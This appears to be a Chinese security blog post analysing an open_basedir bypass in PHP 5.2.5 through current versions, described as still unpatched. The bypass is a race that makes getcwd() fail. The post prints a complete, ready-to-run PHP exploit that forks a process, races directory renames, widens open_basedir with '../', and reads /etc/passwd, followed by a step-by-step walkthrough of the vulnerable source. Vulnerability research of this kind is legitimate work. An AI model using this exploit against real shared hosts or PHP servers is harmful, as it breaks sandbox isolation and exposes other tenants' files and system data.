当前位置:首页>php>php5.2.5-8.6通用bypass open_basedir

php5.2.5-8.6通用bypass open_basedir

  • 2026-10-11 08:15:12
php5.2.5-8.6通用bypass open_basedir

作者:秋风

感谢我的好朋友LamentXU 看到这个issues分享给我 嘻嘻

https://github.com/php/php-src/issues/21961

PHP open_basedir 绕过漏洞分析:getcwd() 失败竞态条件

影响版本

范围

版本

引入

PHP 5.2.5 (2007-11-08),提交 00922630305f

影响

PHP 5.2.5 ~ 当前所有版本(5.3.x、5.4.x、5.5.x、5.6.x、7.0~7.4、8.0~8.5、master)

修复

尚未合并(PR #21962 状态为 Open)

漏洞代码存在约 19 年,从 2007 年到现在的所有 PHP 版本均受影响。

利用条件

1.open_basedir 已配置 — 目标 PHP 环境通过 php.ini 或 vhost 设置了 open_basedir 限制

2.可执行任意 PHP 代码 — 攻击者能在受限环境中运行 PHP 脚本(典型场景:共享主机)

3.pcntl_fork() 可用 — 需要 pcntl 扩展来创建子进程实施竞态(CLI 模式默认加载该扩展)

4.Linux 系统 — MAXPATHLEN=4096;macOS 上为 1024,需调整目录深度参数

5.可写目录 — 需要在 open_basedir 允许的路径内拥有写权限以创建深层目录结构

漏洞原理

核心调用链

ini_set('open_basedir', '....:../')  → OnUpdateBaseDir()    → expand_filepath("../", ...)      → VCWD_GETCWD()  ← 被竞态导致失败        → 回退逻辑: VCWD_OPEN("../") 成功 → 返回未解析的 "../"    → php_check_open_basedir_ex("../")  ← "../" 被错误判定为合法子路径  → open_basedir 被追加 "../"
EXP:
<?phperror_reporting(0);echo "=== PHP open_basedir Bypass PoC (php-src#21961) ===\n";echo "PHP Version: " . phpversion() . "\n";echo "open_basedir: " . ini_get("open_basedir") . "\n\n";echo "[*] 正常情况下读取 /etc/passwd:\n";$test = @file_get_contents("/etc/passwd");echo $test ? "成功(不应出现)\n" : "失败: open_basedir 限制生效\n";echo "\n";echo "[*] 开始利用竞态条件绕过 open_basedir...\n";chdir("/tmp");@mkdir("poc/");chdir("poc/");$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);@mkdir($magic_depth, 0755, true);chdir($magic_depth);$pid = pcntl_fork();if ($pid == -1) die("fork 失败\n");if ($pid == 0) {    for ($i = 0; $i < 20; $i++) {        $cur = @ini_get("open_basedir");        @ini_set("open_basedir", $cur . ":../");    }    @chdir("/tmp");    @chdir("../");    $passwd = @file_get_contents("etc/passwd");    if (!$passwd) {        echo "[-] 本次未命中竞态窗口\n";        exit(1);    }    echo "[+] 绕过成功!当前 open_basedir 已被拓宽至根目录\n";    echo "[+] /etc/passwd 内容(前5行):\n\n";    $lines = explode("\n", $passwd);    for ($i = 0; $i < min(5, count($lines)); $i++) {        echo "    " . $lines[$i] . "\n";    }    echo "    ...\n";    exit(0);} else {    chdir("/tmp");    for ($i = 0; $i < 3000; $i++) {        @rename("poc", str_repeat("x", 250));        @rename(str_repeat("x", 250), "poc");    }    pcntl_waitpid($pid, $status);}

分步分析

第一步:构造超长工作目录路径

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);// 每层 250 字节 × 16 层 = 4000 字节,接近 MAXPATHLEN(4096)mkdir($magic_depth, 0755, true);chdir($magic_depth);

子进程的工作目录路径变为 /tmp/poc/aaa...a/aaa...a/.../aaa...a(约 4000+ 字节)。

第二步:竞态触发 getcwd() 失败

父进程反复重命名顶层目录:

// 父进程 rename("poc", str_repeat("x", 250));  // 目录名从 3 字节 → 250 字节 rename(str_repeat("x", 250), "poc");  // 恢复原名

当目录名从 poc(3 字节)被改为 xxx...x(250 字节)时:

  • 子进程的实际工作目录路径变为约 4247 字节,超过 MAXPATHLEN(4096)
  • 此时子进程调用 VCWD_GETCWD() → 缓冲区不够 → 返回 NULL

第三步:expand_filepath() 的错误回退

main/fopen_wrappers.c 第 809-828 行

result = VCWD_GETCWD(cwd, MAXPATHLEN);  // ← 失败,result = NULLif (!result && (iam != filepath)) {    fdtest = VCWD_OPEN(filepath, O_RDONLY);  // 用相对路径 "../" 尝试打开    if (fdtest != -1) {        // 直接返回未解析的相对路径 "../"        memcpy(real_path, filepath, copy_len);        return real_path;  // ← 返回 "../" 而非绝对路径    }}

关键问题:

  • VCWD_GETCWD()
     失败后,函数没有报错返回,而是尝试用 VCWD_OPEN() 直接打开文件
  • 此时父进程已经把目录名改回 poc,工作目录路径又变短了,VCWD_OPEN("../")成功
  • 函数返回了未经解析的相对路径 "../"

第四步:绕过 open_basedir 检查

// OnUpdateBaseDir() 中expand_filepath("../", resolved_name);  // resolved_name = "../"php_check_open_basedir_ex("../", 0);    // "../" 被判定为当前目录的子路径 → 检查通过!

php_check_open_basedir_ex() 对 "../" 做前缀匹配时:

  • 当前 open_basedir 包含 /tmp 的子路径
  • "../"
     长度太短,不会触发匹配失败(实现上是检查 resolved_name 是否以 basedir 路径为前缀)
  • ../
     作为相对路径在此检查中被错误放行

第五步:逐级提升目录权限

for ($i = 0; $i < 20; $i++) {    ini_set("open_basedir", ini_get("open_basedir") . ":../");}

每次循环追加一个 ../,积累足够的 ../ 后:

chdir("/tmp");chdir("../");           // 当前目录变为 /file_get_contents("etc/passwd");  // 成功读取 /etc/passwd

竞态窗口时序图

时间线  ├─ 父进程: rename("poc" → "xxx...x")     ← 工作目录路径超长  │    │  │    ├─ 子进程: VCWD_GETCWD() 失败!      ← 命中竞态窗口  │    │  ├─ 父进程: rename("xxx...x" → "poc")     ← 工作目录路径恢复  │    │  │    ├─ 子进程: VCWD_OPEN("../") 成功     ← 文件可访问  │    ├─ 子进程: expand_filepath 返回 "../"  │    ├─ 子进程: open_basedir 检查通过  │  ├─ 重复 3000 次...

最新文章

随机文章